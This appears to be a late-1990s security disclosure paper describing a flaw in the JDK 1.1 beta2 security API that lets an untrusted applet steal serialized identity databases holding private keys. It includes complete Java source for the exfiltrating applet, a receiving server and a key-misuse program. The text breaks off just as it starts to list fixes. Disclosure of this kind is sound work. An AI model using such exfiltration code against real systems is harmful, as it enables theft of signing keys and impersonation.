Security Breachesin the JDK 1.1 beta2security API |
Identity Databases and Signers
|
How Untrusted Applets Can Steal Private Keys |
In another paper I have published critics about some basic weaknesses of the present Java runtime system (the one of JDK 1.02 as well as the one of JDK 1.1). Here are some complementary and partially independent remarks on the new security API proposed with JDK 1.1 (beta2 pre-release).
The main problem I have found is related to the interaction of serialization with the management of identity and public/private key database as proposed by javakey. This database is stored in a permanent serial object file. At init time, this persistent object is loaded and stored in a static variable of the class IdentityScope of the package java.security. This object (let me call it "systemscope") is publicly available via the request: IdentityScope.getSystemScope(). An untrusted applet can then get the systemscope of the client site and send to the server it comes from a serialized version of this object . No security check is made to forbid this and thus no hack is necessary to program such an applet. While the applet generally cannot access and use the private keys of the signers recorded in the systemscope of the client, it is perfectly possible for the server to access and use them once it has received the serialized version of this object.
An "identity database" is an object of (abstract) type java.security.IdentityScope where "identities" are stored along with with their public keys and certificates. It is also possible to store in an identity database "signers": these are special identities with a private/public pair of keys, the private key being used for signing data.
The java.security API provides almost only interfaces and abstract classes. To make all the security stuff work, an implementation of these abstract classes is needed. This the role of "security providers". JDK 1.1 comes with a default security provider, the package sun.security.provider. With the classes SystemIdentity, SystemSigner and IdentityDatabase this package provides a basic implementation of the abstract classes Identity, Signer and IdentityScope defined in java.security. It provides also basic implementations of cryptographic algorithms.
A third-party program has no need to know what is the particular security provider used on a site: a static class, java.security.Security, is used as an interface between such a program and the security provider. For example, to get a signature algorithm object, a program has just to request it from this static class. The class java.security.Security is aware of the security provider in use (thanks to an information file that it reads at init time), and can provide to the requester an instance of the concrete class implementing in its methods the required algorithm. The requester has no need to know the concrete type of the object it receives.
Generally, all communications between application programs and the security provider in use is done through the static class java.security.Security. However, there is an important exception. At init time, this class reads from the security information file what is the particular class used for the default identity database. With the basic security provider of Sun, this class is sun.security.provider.IdentityDatabase. When initialized, this last class reads a file "identitydb.obj" where is stored a serialized instance (of itself). This serialized instance can be created and modified thanks to the tool javakey provided by Sun. By deserializing this object, IdentityDatabase creates a runnable instance assigned to a static variable of the abstract class java.security.IdentityScope. It is this instance (that I call "systemscope") that can be obtained by the request: IdentityScope.getSystemScope() with the abstract type IdentityScope. Any application program or applet is allowed to access the identities strored inside systemscope and use their public keys and certificates to verify the authenticity of incoming data. But, generally, the private key of a signer stored in systemscope cannot be known nor used.
Let me explain this last point. In the sequel, I suppose that only the basic security provider of Sun is used. The public key of an identity can be known thanks to a public method of the abstract class Identity. The private key of a signer can be divulgated only by the method getPrivateKey() of the abstract class Signer defined in the package java.security and by the method getSignerPrivateKey() defined in the concrete subclass SystemSigner of the package sun.security.provider. These methods are protected. So, it is not possible for an object belonging to a class external to these packages to get the private key of a signer nor to use it.
There are only two cases where the private key of a (Sun) signer can be used. First, by javakey itself to sign jar files (note that javakey is a small script to launch a java program of main class: java.security.provider.Main). Secondly, by programs that have classes declared to be members of the package java.security or sun.security.provider. This last case is possible because, in the present implementation of the java runtime system, nothing is made to guarantee the integrity of packages: an application installed in the classpath can define new classes or hide already installed classes of any package (provided by others) it wants to modify or extend (an untrusted applet can also define new classes in any local package except those that are explicitely protected from such extensions by the applet viewer: by default only the packages of name prefixed by "java", "sun" and "netscape").
Here is an example of a small java program that can sign a file by using the private key of a signer previously defined with javakey:
/* We suppose that with javakey the signer "duke" has been installed in the identitydb.obj file automatically read at init time. In order to get the private key of duke to sign, the following class main has to be declared member of the package java.security */ package java.security; import java.io.*; public class Main1{ public static void main(String[] argv) {IdentityScope systemscope = IdentityScope.getSystemScope(); System.out.println(systemscope.toString()); System.out.println(systemscope.getIdentity("duke")); Signer signer = (Signer)systemscope.getIdentity("duke"); PrivateKey prik = signer.getPrivateKey(); /* It is because getPrivateKey() is protected that we have to be in package java.security!! */ PublicKey pubk = signer.getPublicKey(); try{ Signature signature = Signature.getSignature("DSA"); signature.initSign(prik); File file = new File("filetobesigned.txt"); FileInputStream fis = new FileInputStream(file); while (fis.available() != 0) { signature.update((byte)fis.read()); } byte[] generatedSignature = signature.sign(); System.out.println(generatedSignature); /* now we can verify that the generated signature can be authentified with the public key of duke */ signature.initVerify(pubk); File file1 = new File("filetobesigned.txt"); FileInputStream fis1 = new FileInputStream(file1); while (fis1.available() != 0) { signature.update((byte)fis1.read()); } if (signature.verify(generatedSignature)) { System.out.println("Signature checks out"); } else { System.out.println("Signature does not check out."); } } catch (Exception e){System.out.println(e);} } }
I consider the possibility illustrated by this example quite dangerous: any java program you install in your classpath can access and use all the private keys stored in the identity database. In my other paper about the weaknesses of the present Java runtime system, I already designated the possibility to modify or extend packages provided by others as a major problem from a security viewpoint.
Generally, an untrusted applet cannot define new classes in the packages java.security and sun.security.provider. So it cannot get the private key of a signer recorded in systemscope.
The object systemscope is computed at init time from the information stored in the file named "identitydb.obj" created and maintained by javakey. In order to make the computation of systemscope easy, the file "identitydb.obj" contains just a serialized representation of the object systemscope. To compute this object at init time is then quite straightforward:
IdentityScope systemscope; try {FileInputStream fileInputStream = new FileInputStream(new File("identitydb.obj")); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); systemscope = (IdentityScope)objectInputStream.readObject(); IdentityScope.setSystemScope(systemscope); } catch (Exception e){...}
But in order to recursively serialize systemscope and all the objects it records in its fields, all the involved classes (Identity, Signer, Key, PrivateKey, etc) must be "serializable". Presently, the methods readObj() and writeObj() used by these classes do not invoke any security check. Thus, an untrusted applet, while it cannot use directly the private keys recorded in systemscope, can send, via socket, a serialized version of systemscope to the server it comes from. On the server where locally the packages java.security and sun.security.provider can be freely extended, the private keys in the object systemscope of the client site, when deserialized, can be used by programs defining new classes in these packages (as illustrated before). On the server site, javakey can also be used with the stollen systemscope to sign jar files with the stollen private keys.
I give below the Java source of an applet that can steal systemscope:
import java.applet.*; import java.net.*; import java.io.*; import java.security.*; public class ScopeSendApplet extends BasicApplet { IdentityScope systemScope; ObjectSendThread sendThread; public void doJob(){ systemScope = IdentityScope.getSystemScope(); printMessage("applet coming from: " + getCodeBase().getHost().toUpperCase() +" !"); sendThread = new ObjectSendThread(getCodeBase().getHost(),4444,systemScope,this); sendThread.start();} }
class ObjectSendThread extends Thread{ Socket socket; ObjectOutputStream outObjStream; String hostName; int portNum; Object obj; BasicApplet client; public ObjectSendThread (String hostName, int portNum, Object obj, BasicApplet client) { this.hostName = hostName; this.portNum = portNum; this.obj = obj; this.client = client;} public void run() { try { client.printMessage("trying to open a socket connection"); socket = new Socket(hostName, portNum); outObjStream = new ObjectOutputStream(socket.getOutputStream()); client.printMessage("socket opened");} catch (SecurityException e) { client.printMessage("SecurityException" + e); e.printStackTrace();} catch (IOException e) { client.printMessage("IOException" + e); client.printMessage("Couldn't get I/O for the connection to: " + hostName); client.printMessage("Aborted");} if (socket != null && outObjStream != null){ try {outObjStream.writeObject(obj); outObjStream.flush(); outObjStream.close(); socket.close(); client.printMessage("envoi objet par socket reussi!!");} catch (InvalidClassException e) {client.printMessage("invalid class exception in serializing object");} catch (IOException e) { client.printMessage("IO exception has occured"); client.printMessage("aborted");} } } }
The class BasicApplet being defined as:
import java.applet.Applet; import java.awt.Graphics; public class BasicApplet extends Applet { StringBuffer buffer; public void init() { printMessage("initializing... "); } public void start() { printMessage("starting... "); doJob(); } public void stop() { printMessage("stopping... "); } public void destroy() { printMessage("preparing for unloading..."); } public void doJob(){} public void printMessage(String newWord) { System.out.println(newWord); buffer = new StringBuffer(); buffer.append(newWord); repaint(); } public void paint(Graphics g) { //Draw a Rectangle around the applet's display area. g.drawRect(0, 0, size().width - 1, size().height - 1); //Draw the current string inside the rectangle. g.drawString(buffer.toString(), 5, 15); } }
On the server side the serialized version of the client's systemscope stollen by the above applet can be received and stored by the following program:
import java.net.*; import java.io.*; public class ObjRecServer { public static void main(String[] args) { ServerSocket serverSocket = null; boolean listening = true; int clientNum = 0; try { serverSocket = new ServerSocket(4444); }catch (IOException e){ System.err.println("Could not listen on port: " + 4444 + ", " + e.getMessage()); System.exit(1); } while (listening) { Socket clientSocket = null; try {System.out.println("listening for a connection"); clientSocket = serverSocket.accept(); clientNum++; System.out.println("connection established"); } catch (IOException e) { System.err.println("Accept failed: " + 4444 + ", " + e.getMessage()); continue; } if (clientSocket != null) new ObjRecThread(clientSocket, clientNum).start(); } try { serverSocket.close(); } catch (IOException e) { System.err.println("Could not close server socket." + e.getMessage());}} }
class ObjRecThread extends Thread { Socket socket = null; int clientNum = 0; Object obj; public ObjRecThread(Socket socket, int clientNum) { super("ObjRecThread"); this.socket = socket; this.clientNum = clientNum; } public void run() { try { ObjectInputStream is = new ObjectInputStream(socket.getInputStream()); System.out.println("reading on socket"); obj = is.readObject(); System.out.println("object successfully read"); socket.close(); System.out.println("saving"); save(); } catch (Exception e) { e.printStackTrace(); } } void save(OutputStream outputStream) throws IOException { try { ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(obj); objectOutputStream.flush(); } catch (Exception e) {e.printStackTrace();} return; } void save(File file) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream(file); save(fileOutputStream); } void save() throws IOException { save(setSourceFile()); } File setSourceFile() {String string = "identityd"+ clientNum + "stol.obj"; return new File(string); } }
This example illustrates a big security hole: no hack is needed to make an untrusted applet able to steal, and send to the server it comes from, secret ressources of the client site that it is not allowed to access or use on the client site itself (but that can be exploited on the sever site).
The apparent cause of the problem is that the readObject() and writeObject() methods presently used by the involved classes never perform any security check. However, the security risks brought by serializable objects are well known and well explained in JDK 1.1 documentation. But Java API architecture may become so subtil, and this is especially true of the new security API, that it is not obvious to detect security breaches when using serializable classes.
To correct this main security breach there are several solutions: